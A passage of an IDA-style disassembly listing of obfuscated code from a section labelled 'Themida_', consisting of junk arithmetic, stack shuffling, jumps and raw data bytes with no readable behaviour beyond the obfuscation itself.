		db 0FFh
; ---------------------------------------------------------------------------

loc_558CA9:				; CODE XREF: Themida_:005565C6j
		xchg	ebp, [esp]
		jmp	loc_55D223
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 83240C8Bh, 895604C4h, 4C681E6h, 81000000h, 4ECh, 864EE900h
		dd 0DD290000h, 242C335Bh, 33242C31h, 13E9242Ch
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558CDF:				; CODE XREF: Themida_:00550D5Fj
		mov	edx, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_561AF4
; ---------------------------------------------------------------------------
		dw 3487h
		dd 4895C24h, 347CE924h
		db 2 dup(0)
word_558D02	dw 8B66h		; DATA XREF: Themida_:0054FE40o
		dd 0ACE92404h, 1FFFFAAh, 241C8BDEh, 0FF73A8E9h,	0B6C181FFh
		dd 5D079515h, 0FFD054E9h, 0F2814AFFh, 49452A48h, 0E95AD329h
		dd 0FFFFDB2Ch, 0A471E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558D36:				; CODE XREF: Themida_:00557801j
		add	esp, 4
		push	ebx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	6BD4h
		mov	[esp], edi
		jmp	loc_55B999
; ---------------------------------------------------------------------------

loc_558D54:				; CODE XREF: Themida_:00559B63j
		mov	edx, 35E51873h
		mov	ecx, edx
		jmp	loc_55A1AF
; ---------------------------------------------------------------------------
		dd 5D241CF7h, 7D74C581h, 0F58113D2h, 0D8AA56E8h, 0FFB1CAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_558D75:				; CODE XREF: Themida_:00560618j
		or	edx, 63D10F2Fh
		push	6AFDh
		jmp	loc_55768F
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0C8B60F66h, 5FFD68h,	243C8900h, 5F43E9h, 27C28100h
		dd 0FF055868h, 53582434h, 0BA52E389h, 31A75B5Bh, 5386C281h
		dd 0F2E9047Ah, 580000B9h, 998FE955h, 0E9520000h, 0FFFF88F4h
		dd 81E38953h, 4C3h, 2C38100h, 87000000h, 0E95C241Ch, 0B255h
		dd 0F805D829h, 5B59D27Bh, 0E02D0405h, 2434FF01h, 8324348Bh
		dd 28E904C4h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_558DF7:				; CODE XREF: Themida_:00558ED1j
		sub	esp, 4
		jmp	loc_556B5D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832434h, 243C8B04h, 4C481h, 68510000h, 32153158h
		dd 592434FFh, 8904EC83h, 0E789243Ch, 9AE95153h
		db 0A6h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_558E27:				; CODE XREF: Themida_:00562D66j
		mov	ebx, 4C03038Bh
		jmp	loc_55DE46
; ---------------------------------------------------------------------------
aZ4SA		db '‡4$\éÆA',0
		align 2

loc_558E3A:				; CODE XREF: Themida_:0055D841j
		dec	edx
		dec	edx
		sub	edx, 7212538Eh
		xor	edx, 94327E4Dh
		sub	ebx, 0C6B3F53h
		add	ebx, edx
		add	ebx, 0C6B3F53h
		pop	edx
		pop	edx
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edi
		mov	edi, 79A26C2Dh
		not	edi
		push	esi
		mov	esi, 3878620Dh
		sub	esi, 0C5F71FFFh
		sub	edi, esi
		jmp	loc_55BBF8
; ---------------------------------------------------------------------------

loc_558E7D:				; CODE XREF: Themida_:005579BCj
		mov	ch, bh
		jmp	loc_561941
; ---------------------------------------------------------------------------
		dd 0FF241489h, 8B042474h, 0C4832414h, 24048F04h, 48B665Ch
		dd 4EC8324h, 89242C89h,	4EC81E5h, 89000000h, 4B82404h
		dd 0E9000000h, 0BF69h, 4C481h, 0E94A0000h, 0FFFFCEBFh
; ---------------------------------------------------------------------------

loc_558EC0:				; CODE XREF: Themida_:0055C90Dj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ebp
		jmp	loc_558DF7
; ---------------------------------------------------------------------------
		dw 0B753h
		dd 8AB0E9F7h, 0C4830000h, 59E98104h, 0C16FC56Bh, 0F18102E1h
		dd 2592DC83h, 8B59CE01h, 8951242Ch, 0D153E9E1h,	0EC83FFFFh
		dd 241C8904h, 15243481h, 0FF316A00h, 835D2434h,	0E95704C4h
		dd 57D6h, 159CF29h, 243C8BFAh, 815B5453h, 4C3h,	4C38300h
		dd 0A350E9h, 81EED100h,	5665B9CEh, 0AE6816Ah, 0C1437379h
		dd 0C68107EEh, 3DD61D1Ch, 7A3EEA81h, 0F2010A0Dh, 1D46E9h
		db 0
; ---------------------------------------------------------------------------

loc_558F55:				; CODE XREF: Themida_:0055556Fj
		xor	ebp, edi
		pop	edi
		sub	esp, 4
		jmp	loc_55CD55
; ---------------------------------------------------------------------------
		dd 405E089h, 0E9000000h, 0BD6Bh, 4EC815Ch, 89000000h, 2BB241Ch
		dd 81000000h, 0F86E3AC1h, 81D9012Ah, 0F86E3AE9h, 7FE95B2Ah
		dd 83000024h, 0F38104C4h, 13957A7Ah, 404C381h, 0B9E953E5h
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558FA3:				; CODE XREF: Themida_:005519D9j
		sub	bl, al
		sub	bl, 0A7h
		push	2868h
		jmp	loc_55423A
; ---------------------------------------------------------------------------
		dw 8966h
		dd 5FB5240Ch, 0E828482Ch, 0FFB6E4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_558FC1:				; CODE XREF: Themida_:00557FC8j
		push	82Bh
		mov	[esp], ebp
		mov	ebp, 560A01DFh
		push	ecx
		jmp	loc_562DBC
; ---------------------------------------------------------------------------

loc_558FD4:				; CODE XREF: Themida_:00551543j
		add	eax, esi
		add	eax, 17E92718h
		sub	eax, 208A1467h
		push	edi
		push	ebp
		mov	ebp, 640E1667h
		push	eax
		mov	eax, ebp
		mov	edi, eax
		pop	eax
		pop	ebp
		add	eax, edi
		pop	edi
		mov	esi, [esp]
		add	esp, 4
		xor	ebx, eax
		push	edx
		jmp	loc_55C34E
; ---------------------------------------------------------------------------
		dd offset dword_51CC50+218h
		dw 8900h
		dd 8951240Ch, 0BB72E9E1h, 0BFB80000h, 104F13Bh,	148B58C5h
		dd 4C48124h, 31000000h,	242C8BE8h, 8304C483h, 1C8904ECh
		dd 6472BB24h, 0F3815947h, 0A9B235Bh, 15B9BD55h,	6AE95CFAh
		dd 500000BFh, 0AD87E9h,	9FC58100h, 813C701Dh, 20542EDh
		dd 8BE929F5h, 0C481242Ch, 4, 0E9240C87h, 0FFFFB7D0h
; ---------------------------------------------------------------------------

loc_55906C:				; CODE XREF: Themida_:00561C1Ej
		shl	esi, 3
		shl	esi, 4
		inc	esi
		push	ecx
		mov	ecx, 6E993532h
		sub	esi, ecx
		pop	ecx
		jmp	loc_556915
; ---------------------------------------------------------------------------
		db 0B2h, 0B9h, 80h
		dd 0EC83ABCAh, 243C8904h, 0B850E789h, 4, 0E958C701h, 0FFFFB517h
		dd 0EA81C201h, 48CB4F6Fh, 240C8B58h, 8704C483h,	248B2414h
		dd 9CCFE924h, 0BA52FFFFh, 34CC3BF1h, 0F7EA874Ah, 42EA87DDh
		dd 0EA81DAF7h, 45B6345Fh, 9D34E9h
		db 0
; ---------------------------------------------------------------------------

loc_5590D1:				; CODE XREF: Themida_:0055EC00j
		push	edi
		mov	edi, 3F1120F4h
		and	edi, 152D5C15h
		neg	edi
		inc	edi
		sub	edi, 1DDD89Dh
		add	ebp, edi
		jmp	loc_554F7E
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 6D060D5Ch, 0AF3513CAh, 5247A507h, 0CEEF2ABAh, 0E9D001F1h
		dd 0FFFFB222h, 546DEA81h, 0C7E97F6Ah, 80000039h, 0EB001AC3h
		dd 5BAEE9h, 0E8295900h,	7155BD05h, 335E96Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55912A:				; CODE XREF: Themida_:0055AA0Bj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xchg	eax, [esp]
		pop	esp
		add	esp, 4
		push	eax
		push	ebx
		push	ebp
		mov	ebp, 78981249h
		mov	ebx, ebp
		pop	ebp
		jmp	loc_555561
; ---------------------------------------------------------------------------
		dd 3304C783h, 71E9243Ch, 0BF000001h, 1E9F6A5Eh,	0E904EFC1h
		dd 0FFFF8CC0h, 0D82EF4BDh, 5DEB894Bh, 4F0E9h, 6F25E900h
		dd 0E95DFFFFh, 2E1Ch, 2DC3E681h, 0C1E954A8h, 81FFFF74h
		dd 2D75DEF2h, 69F28112h, 573A707h, 6B5F6CBFh, 77490B2Dh
		dd 341CE919h, 54290000h, 6EE90424h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5591A7:				; CODE XREF: Themida_:0055B153j
		pop	esp
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5623D1
; ---------------------------------------------------------------------------
		dd 800BCB80h, 0EB8065CBh, 9C06E9E0h, 3487FFFFh,	148B5C24h
		dd 4C48124h, 81000000h,	4C2h, 0AEB85000h, 684EF424h, 36BCh
		dd 2AB9E9h, 4E8C100h, 6465E9h
		db 0
; ---------------------------------------------------------------------------

loc_5591F5:				; CODE XREF: Themida_:00557438j
		push	esp
		jmp	loc_55E2C6
; ---------------------------------------------------------------------------

loc_5591FB:				; CODE XREF: Themida_:005633B7j
		push	576020F1h
		pop	ebx
		add	ebx, 699B1204h
		jmp	loc_55AA95
; ---------------------------------------------------------------------------
		dd 0DD6BEBBAh, 56B8E918h, 0C4810000h, 4, 9F6851h, 24890000h
		dd 24048124h, 4, 869DE959h, 8141FFFFh, 0B560EFF1h, 0A7F18126h
		dd 0E96EC20Ch, 61D4h, 0E9243489h, 0B1F8h, 0EE291A05h, 379F056Dh
		dd 0F0293D25h, 25379F2Dh, 291A2D3Dh, 8B5E6DEEh,	0E9522434h
		dd 57D0h
; ---------------------------------------------------------------------------

loc_55926C:				; CODE XREF: Themida_:0055F8B4j
		sub	eax, 29CA5ED5h
		pop	ecx
		sub	edx, eax
		jmp	loc_563F14
; ---------------------------------------------------------------------------
		db 0BEh, 78h, 2Eh
		dd 0E6814A51h, 58CA2F9Ah, 0FFE915E9h, 24248BFFh, 50A9E9h
		dd 52556800h, 8F540000h, 4812404h, 424h, 24348B00h, 4C481h
		dd 0BF570000h, 99946C2h, 0E903E7C1h, 54A5h, 582434FFh
		dd 0E904C483h, 0FFFF82B7h, 0E9243C31h, 4916h, 5C240487h
		dd 55240489h, 83F0E9h, 0E9D8F700h, 0FFFFB9AAh, 4C681h
		dd 34870000h, 24248B24h, 38D9E9h, 0E9F78900h, 19C3h, 2434FF5Ch
		dd 8324148Bh, 0FC6804C4h, 89000014h, 0AFE92434h, 8100006Bh
		dd 0F56A68C7h, 89EF8134h, 0E9128628h, 16CAh
; ---------------------------------------------------------------------------

loc_559320:				; CODE XREF: Themida_:0055DE15j
		add	ebp, ecx
		pop	ecx
		push	ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	ebp
		push	edi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		push	edx
		mov	edx, 4
		sub	edi, edx
		pop	edx
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_554407
; ---------------------------------------------------------------------------
		dd 4EC81h, 0A9E90000h, 5FFFF97h, 2, 3D04E9h, 66456600h
		dd 8951D5F7h, 4C181E1h,	81000000h, 2E9h, 240C8700h, 6624248Bh
		dd 51241489h, 11D0B966h, 56665166h, 5A7FBE66h, 24742966h
		dd 0C5AFE902h, 0BA52FFFFh, 539D44C4h, 0CE9E9h, 24148900h
		dd 0FFADA5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5593C1:				; CODE XREF: Themida_:00559A84j
		pop	edx
		jmp	loc_5513DB
; ---------------------------------------------------------------------------

loc_5593C7:				; CODE XREF: Themida_:0055A579j
		mov	esi, 2B8D6803h
		jmp	loc_557057
; ---------------------------------------------------------------------------
		db 5, 63h, 23h
		dd 8E91E12h
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5593DB:				; CODE XREF: Themida_:00560BADj
		not	edi
		xor	edi, 0FFD532ACh
		jmp	loc_55797F
; ---------------------------------------------------------------------------
		dd 541ECA81h, 0F28106CCh, 7950006Ch, 4EC81h, 2C890000h
		dd 13BA5224h, 0E93F9E74h, 984Dh, 0EA81FA01h, 618F1C8Ah
		dd 2237EA81h, 3C8B407Bh, 0EE0AE924h, 0B850FFFFh, 2, 1D0FED81h
		dd 0C5814B1Ch, 18427CC1h, 0A246E9h, 5AD00000h, 681CE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55943E:				; CODE XREF: Themida_:0055E86Ej
		mov	esi, 666634C2h
		add	ebx, esi
		pop	esi
		add	ebx, 5FA39B4h
		jmp	loc_55ABBD
; ---------------------------------------------------------------------------

loc_559451:				; CODE XREF: Themida_:00551B3Ej
		push	7377h
		mov	[esp], edx
		push	ecx
		jmp	loc_55DCE8
; ---------------------------------------------------------------------------
		db 5
		dd 7F0142F9h, 8B2434FFh, 0C481242Ch, 4,	0E904C483h, 0AA96h
; ---------------------------------------------------------------------------

loc_559478:				; CODE XREF: Themida_:0055DEB6j
		pop	ecx
		jmp	loc_55A144
; ---------------------------------------------------------------------------
		dw 8951h
		dd 4EC81D1h, 89000000h,	7568242Ch, 89000079h, 0C8892404h
		dd 48BC589h, 0F11AE924h, 0E2D1FFFFh, 5A7E68h, 24348900h
		dd 4EC81h, 2C890000h, 1C26BD24h, 0DDF739EEh, 6035ED81h
		dd 9AE9567Dh, 68FFFFA1h, 7CDE66C9h, 6859h, 0C290000h, 0F6E95924h
		dd 100000Fh, 6CEB81FBh,	0E979957Ch, 5028h
; ---------------------------------------------------------------------------

loc_5594E4:				; CODE XREF: Themida_:0055DD7Dj
		add	ecx, edi
		add	ecx, 5BD71B8Bh
		jmp	loc_5618A1
; ---------------------------------------------------------------------------
aSS_5		db '^éì˜',0
		db 0
; ---------------------------------------------------------------------------

loc_5594F7:				; CODE XREF: Themida_:00560248j
		mov	eax, esp
		add	eax, 4
		push	ebp
		mov	ebp, 3A733D71h
		jmp	loc_555778
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0C3BE2434h, 2923DA4Bh, 52E95EF3h,	5A000062h
		dd 8F0AE9h
		db 0
; ---------------------------------------------------------------------------

loc_559525:				; CODE XREF: Themida_:005543FBj
		xor	ebp, 2EAF1997h
		dec	ebp
		jmp	loc_56503B
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240481h, 0E9000000h, 0FFFFE00Fh
; ---------------------------------------------------------------------------

loc_559540:				; CODE XREF: Themida_:00550B0Ej
		sub	ebx, 56D7CEBh
		pop	edi
		jmp	loc_564738
; ---------------------------------------------------------------------------
		dd 0DEF6E9B6h, 0B2525366h, 301DB735h, 0FE305AD7h, 241C8B66h
		dd 8002C483h, 0E9806FC1h, 29C18058h, 0E980F128h, 58C18029h
		dd 0E96FE980h, 74Ah
dword_55957C	dd 24048B66h, 4EC8150h,	81000000h, 4ECh, 24248900h, 4BD55h
					; DATA XREF: Themida_:0054FE9Co
		dd 6C010000h, 0EFE90424h, 68FFFF99h, 4,	0FF9103E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5595A9:				; CODE XREF: Themida_:00560003j
		mov	[esp], ebx
		mov	eax, [esp]
		jmp	loc_5620DF
; ---------------------------------------------------------------------------

loc_5595B4:				; CODE XREF: Themida_:0055AAA0j
		add	esp, 4
		jmp	loc_557C92
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 3D757383h, 0D409B805h, 0E9D8015Fh, 0FFFFB3F1h
		dd 16976866h, 8260E9h, 24148B00h, 0FF7C68E9h, 21665CFFh
		dd 0E99C2404h, 0FFFF6AABh, 3C89665Ch, 74FF6624h, 5F660224h
		dd 24048F66h, 2FE95766h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------

loc_559603:				; CODE XREF: Themida_:00553364j
		push	427Bh
		mov	[esp], esi
		mov	esi, 19882931h
		add	eax, 2AE9576Ah
		add	eax, 0AE62548h
		add	eax, esi
		sub	eax, 0AE62548h
		sub	eax, 2AE9576Ah
		mov	esi, [esp]
		add	esp, 4
		add	eax, 2556601Ah
		push	ecx
		jmp	loc_561DD9
; ---------------------------------------------------------------------------
		dw 0EDC0h
		dd 6ECCE906h, 0D989FFFFh, 0E92434FFh, 0FFFFEB04h
; ---------------------------------------------------------------------------

loc_55964C:				; CODE XREF: Themida_:0055FAABj
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_562CA5
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 0EEh
		dd 5749E6Eh, 68E43C7Fh,	5598E9h, 4EC8100h, 0E9000000h
		dd 0FFFF78F9h
; ---------------------------------------------------------------------------

loc_559678:				; CODE XREF: Themida_:0055147Bj
		pop	edi
		mov	eax, ecx
		pop	ecx
		mov	esi, 1DE62289h
		xor	esi, eax
		pop	eax
		inc	esi
		push	ecx
		jmp	loc_55EB41
; ---------------------------------------------------------------------------
		db 0FFh
a4Ys		db '4$Yé]š',0
		align 4
		dd 0D62D665Dh, 0D8016607h, 56FD68h, 2938E900h, 9AB90000h
		dd 0C17FCD00h, 0E9C108E9h, 33E6E902h, 14B80000h, 0B90D990Eh
		dd 0D990E10h, 0E958C131h, 4A44h
; ---------------------------------------------------------------------------

loc_5596C8:				; CODE XREF: Themida_:00558113j
		push	3F8F6F61h
		pop	eax
		push	457968F8h
		jmp	loc_559CC0
; ---------------------------------------------------------------------------
		dd 0FC587DBAh, 5AD33137h, 585BDF89h, 34FFF821h,	0A699E924h
		dd 24890000h, 9292E924h, 0C4830000h, 0E9505104h, 7F96h
; ---------------------------------------------------------------------------

loc_559700:				; CODE XREF: Themida_:0055C635j
		pop	eax
		std
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55D419
; ---------------------------------------------------------------------------
		dd 24048F5Ch, 67546859h, 1C890000h, 0A8B85024h,	0BB2A5C0Fh
		dd 2C58C5EAh, 3158C329h, 0EDF9E9D9h, 0F766FFFFh, 5F662414h
		dd 0FF86866h, 243C8966h, 2474FF66h, 3C8B6602h, 3586E924h
		dd 0EC810000h, 4, 89242C89h, 525350E5h,	4BAh, 5AD38900h
		dd 8904EC83h, 0EC832434h, 94A9E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559772:				; CODE XREF: Themida_:00561F0Aj
		add	[esp], al
		pushf
		jmp	loc_55C747
; ---------------------------------------------------------------------------

loc_55977B:				; CODE XREF: Themida_:0055DD57j
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_550097
; ---------------------------------------------------------------------------
		db 5, 90h, 2Ch
		dd 50515891h, 9D43F7B8h, 0E9C18904h, 0A984h, 20E9CC00h
		dd 51000069h, 500446B9h, 1C1837Ch, 0E981D9F7h, 7FE42A71h
		dd 0FBC18149h, 2915299Bh, 82E959CDh, 87000015h,	248B240Ch
		dd 4C48124h, 0E9000000h, 8028h,	81E38953h, 4C3h, 4EB8100h
		dd 87000000h, 8CE9241Ch
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5597EB:				; CODE XREF: Themida_:00550371j
		pop	ebx
		jmp	loc_55E6AD
; ---------------------------------------------------------------------------
		db 0BBh, 2, 0
		dd 0C1E90000h, 3100001Eh, 2434FFD5h, 4C4835Ah, 840C581h
		dd 0C5814392h, 0BA9D9AE1h, 875DE901h, 248B240Ch, 0E9C33024h
		dd 0FFFFF06Ch, 89243C89h, 4C781E7h, 83000000h, 22E904C7h
		dd 810000B4h, 4ECh, 240C8900h, 0E070B7B9h, 0E9CE892Fh
		dd 792Ch, 0C52EF381h, 0D90100FCh, 0FF68A9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_559855:				; CODE XREF: Themida_:00564794j
		dec	edx
		dec	edx
		add	edx, 0AABCDD3h
		jmp	loc_555472
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 9168240Ch, 89000076h, 5D54242Ch, 0A6B9E9h
		db 0
; ---------------------------------------------------------------------------

loc_559875:				; CODE XREF: Themida_:00565695j
		mov	esi, 70DE3D70h
		and	ecx, esi
		pop	esi
		push	ecx
		jmp	loc_55EF2A
; ---------------------------------------------------------------------------
aYs		db 'YéÒ{',0
		dd 243C8B00h, 57E38953h, 4BFh, 5FFB0100h, 4EC81h, 34890000h
		dd 3B49BE24h, 0C68142E0h, 79444635h, 5602E6C1h,	8B2414F7h
		dd 0C4832434h, 51D6F704h, 0FFC35FE9h, 63E981FFh, 577D8E75h
		dd 934595BFh, 0DBC78152h, 1DE89E9h, 0D9015FF9h,	2F70E981h
		dd 0C181311Dh, 7D8E7563h, 74FF515Bh, 0E9590424h, 17CBh
		dd 0E9240489h, 5457h, 5058C530h, 0FF7DC9E9h, 63BA52FFh
		dd 0C16FCA0Eh, 68E902E2h, 89FFFF85h, 0E789243Ch, 3697E9h
		db 0
; ---------------------------------------------------------------------------

loc_559919:				; CODE XREF: Themida_:00550A30j
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_5528EE
; ---------------------------------------------------------------------------
aXvssl		db ')ÂXVéSL',0
		align 10h
dword_559930	dd 28B6664h, 9FD6866h, 24048966h, 9DA9E9h, 26176800h, 1C890000h
					; DATA XREF: Themida_:0054FECCo
		dd 9395E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55994E:				; CODE XREF: Themida_:0055658Fj
		mov	ecx, 586B18CDh
		add	ecx, 14E62DE8h
		add	ebx, ecx
		pop	ecx
		pop	ebp
		push	eax
		jmp	loc_55EA9C
; ---------------------------------------------------------------------------
		db 5Ch
		dd 2C8BE829h, 4C48324h,	6AB85055h, 0BD2E9F64h, 4763F099h
		dd 24E9C501h
		db 9Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55997F:				; CODE XREF: Themida_:00563424j
		push	eax
		jmp	loc_55B6A8
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 4, 6824148Bh, 741Fh,	0FF82BDE9h
		db 0FFh
byte_559999	db 64h,	8Fh, 2		; DATA XREF: Themida_:0054FDC0o
		dd 0FF66F6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5599A1:				; CODE XREF: Themida_:0055FC55j
		add	eax, ebx
		push	ecx
		mov	ecx, 5DF34FBBh
		sub	eax, ecx
		pop	ecx
		pop	ebx
		jmp	loc_5512E3
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 7A5B7A7Ch, 0E9F5015Bh, 0FFFF98A1h, 0E904C583h, 0FFFFCF92h
		dd 1FA4BE5Dh, 0DE298586h, 3918685Bh, 0BE90000h
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5599DB:				; CODE XREF: Themida_:0056215Bj
		div	cx
		push	small 2800h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_550097
; ---------------------------------------------------------------------------
		dw 0DA01h
		dd 814DE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5599F6:				; CODE XREF: Themida_:0055ED4Aj
		pop	esi
		add	esi, 4
		jmp	loc_5504B4
; ---------------------------------------------------------------------------
		dw 6DBFh
		dd 29761070h, 243C8BFBh, 4C481h, 0C3810000h, 0C804601h
		dd 2C3815Dh, 53000000h,	42474FFh, 0FFA3C6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_559A29:				; CODE XREF: Themida_:00554663j
		pop	eax
		add	edx, eax
		jmp	loc_562160
; ---------------------------------------------------------------------------
		db 0C1h, 0EBh, 2
		dd 0C3814B43h, 0EAC711C0h, 815BD889h, 4ECh, 24348900h
		dd 12ABB951h, 0CE89474Ch, 83240C8Bh, 0F02104C4h, 2E8C15Eh
		dd 0E906E0C1h, 0FFFFC667h, 5D2CF9B3h, 0D828FE04h, 5D04FE2Ch
		dd 0EC835B66h, 241C8904h, 0FF7B08E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_559A7D:				; CODE XREF: Themida_:0055390Bj
		mov	edx, 36E30196h
		sub	esi, edx
		jmp	loc_5593C1
; ---------------------------------------------------------------------------
		db 88h,	0D7h, 0E9h
		dd 0FFFFBFE5h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		xor	edi, ecx
		jmp	loc_55B545
; ---------------------------------------------------------------------------
		dd 2434FF5Ah, 0E389535Bh, 5010E950h, 0DE680000h, 0E9000073h
		dd 0FFFFA7C0h, 0FF65CEE9h, 49C1BDFFh, 88E9107Fh, 0F7000019h
		dd 0ED814DDDh, 1, 1C581h, 0E5C10000h, 84F58107h, 107C338h
		dd 34875DEEh, 24248B24h, 582434FFh, 8904EC83h, 0A5E92414h
		dd 1000038h, 0AE0AE9FEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_559B0A:				; CODE XREF: Themida_:0055C274j
		push	ecx
		mov	ecx, 5DC67211h
		push	55DDh
		mov	[esp], edx
		mov	edx, 73BE1843h
		not	edx
		inc	edx
		jmp	loc_559B3A
; ---------------------------------------------------------------------------
		db 89h,	0C1h, 58h
		dd 7073C981h, 19E91AA7h, 31FFFFD2h, 7715E9FBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559B3A:				; CODE XREF: Themida_:00559B20j
		shl	edx, 6
		push	esi
		mov	esi, 669F470Ch
		sub	esi, 1DB73624h
		jmp	loc_553B4F
; ---------------------------------------------------------------------------
		dw 295Ah
		dd 7E0705F8h, 98E96050h
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_559B5B:				; CODE XREF: Themida_:005638ADj
		and	edi, ebx
		pop	ebx
		shr	edi, 2
		push	ecx
		push	edx
		jmp	loc_558D54
; ---------------------------------------------------------------------------

loc_559B68:				; CODE XREF: Themida_:00561EE6j
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 72481BA4h
		jmp	loc_557097
; ---------------------------------------------------------------------------
aBCrils4	db 'ÃcRëlé4,',0
		align 2

loc_559B8E:				; CODE XREF: Themida_:0055CAFCj
		pop	edx
		push	6A93h
		mov	[esp], esi
		mov	esi, 4D2D076Eh
		push	eax
		mov	eax, 4D2D076Ah
		xor	esi, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebp, esi
		jmp	loc_55569A
; ---------------------------------------------------------------------------
		db 0F7h, 0DAh, 81h
		dd 8E1616EAh, 5BCA815Ch, 0E929176Eh, 5F95h
; ---------------------------------------------------------------------------

loc_559BC4:				; CODE XREF: Themida_:005556A2j
		mov	eax, 6AE33108h
		shl	eax, 1
		dec	eax
		sub	eax, 313BE1B2h
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		and	eax, ebx
		pop	ebx
		shr	eax, 0Bh
		xor	ecx, eax
		jmp	loc_55221B
; ---------------------------------------------------------------------------
		db 0B6h, 7Bh, 0F6h
		dd 4E02E9D6h, 81660000h, 6637A1F5h, 2C8BEE31h, 4C48124h
		dd 66000000h, 2B11C681h, 5EEC166h, 50665666h, 0FFBF8CE9h
		dd 4C481FFh, 30000000h,	1C8B66F8h, 2C48324h, 724768h, 24148900h
		dd 0E2C0D0B2h, 0B1515308h, 0ECB3F8h, 0EBC059CBh, 71E38003h
		dd 5366DBF6h, 66240CFEh, 0BBC3805Bh, 18E95351h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_559C53:				; CODE XREF: Themida_:00556B65j
		sub	edi, 4235272Dh
		add	edi, 42B1EEB5h
		jmp	loc_55060B
; ---------------------------------------------------------------------------

loc_559C64:				; CODE XREF: Themida_:0055622Dj
		mov	esi, edi
		pop	edi
		add	esi, 11F30BC7h
		shr	esi, 7
		inc	esi
		add	esi, 583D5F0Ah
		and	edx, esi
		pop	esi
		shr	edx, 1
		jmp	loc_55B9B7
; ---------------------------------------------------------------------------
		db 58h,	57h, 89h
		dd 4C781E7h, 0E9000000h, 42C1h,	0C7746ABEh, 3E6C13Fh, 0EE81DEF7h
		dd 0D27FE681h, 348BF301h, 5A57E924h
		db 2 dup(0)
word_559CAA	dw 8B66h		; DATA XREF: Themida_:0054FF80o
		dd 0BD68240Ch, 89000009h, 0A68240Ch, 0E900007Bh, 8E3h
; ---------------------------------------------------------------------------

loc_559CC0:				; CODE XREF: Themida_:005596D3j
		pop	ebp
		jmp	loc_55AF00
; ---------------------------------------------------------------------------
		dw 505Ah
		dd 0E0C05EB0h, 6D88E903h, 0E9520000h, 0FFFF9FC7h, 1D6FB82Dh
		dd 8F04E909h, 48680000h, 0E9000009h, 82EFh, 0C7FE68B7h
		dd 9CE9EFD0h, 81FFFFC0h, 4C2h, 4EC8300h, 0BF243C89h, 18562849h
		dd 0EF83DFF7h, 0B4EF8101h, 1E7A9D7h, 0FB6FE9FAh, 4B9FFFFh
		dd 1000000h, 2434FFCFh
		db 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	edi, [esp]
		mov	esp, [esp]
		mul	ecx
		jmp	loc_555833
; ---------------------------------------------------------------------------

loc_559D45:				; CODE XREF: Themida_:0055BEBCj
		not	edx
		xor	edx, 68EC32EEh
